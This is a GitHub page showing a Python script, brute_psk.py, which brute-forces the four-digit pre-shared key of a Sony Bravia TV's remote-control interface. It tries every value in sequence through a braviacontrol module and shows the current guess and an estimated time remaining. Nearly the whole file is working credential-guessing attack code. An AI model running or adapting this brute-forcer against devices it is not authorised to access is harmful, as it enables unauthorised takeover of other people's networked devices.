-
Notifications
You must be signed in to change notification settings - Fork 0
/
brute_psk.py
106 lines (71 loc) · 2.66 KB
/
brute_psk.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
__author__ = "SZP3N10"
import braviacontrol, time
class Brute:
'''Class used to guess TV's PSK.
Connected to greeting screen from Control.py file.
Responsible for displaying current guess and estimated time of guessing on greeting screen'''
def __init__(self, label, start_value = 0):
self.attempts = start_value
self.connected = False
self.psk = "----"
self.label = label #Label with informations about estimated time & current guess
self.start()
def start(self):
args = braviacontrol.parse_arguments()
def generate_psk():
num = str(self.attempts)
psk = (4 - len(num))*"0" + num
self.attempts += 1
return psk
def convert(num):
num = int(round(num, 0))
if num < 60:
if len(str(num)) < 2:
num = "0"+str(num)
result = f"00:00:{num}"
elif num >= 60 and num < 3600:
y = num//60
x = num - (y*60)
if len(str(y)) < 2:
y = "0"+str(y)
if len(str(x)) < 2:
x = "0"+str(x)
result = f"00:{y}:{x}"
else:
z = num//3600
y = (num - (z*3600))//60
x = num - (z*3600) - (y*60)
if len(str(z)) < 2:
z = "0"+str(z)
if len(str(y)) < 2:
y = "0" + str(y)
if len(str(x)) < 2:
x = "0" + str(x)
result = f"{z}:{y}:{x}"
return result
time_of_one = 0
count = 0
once_iter = 0
l = []
while self.attempts != 9999 and self.connected == False:
s = time.time()
if once_iter < 3:
time_left = "calculating..."
once_iter += 1
else:
time_left = convert((9999 - self.attempts)*time_of_one)
self.psk_to_try = psk_to_try = generate_psk()
self.label.text = f"Bruteforcing TV's PSK, please be patient !\nCurrent guess: {self.psk_to_try}\nEstimated time: {time_left}"
bravia = braviacontrol.BraviaConsole(psk_to_try)
bravia.start(args.ip, args.command)
if bravia.model != "Bravia":
self.connected = True
self.psk = psk_to_try
e = time.time()
l.append(e-s)
count += 1
if count == 3:
medium_time = (l[0] + l[1] + l[2])/3
time_of_one = round(medium_time, 1)
count = 0
return self.psk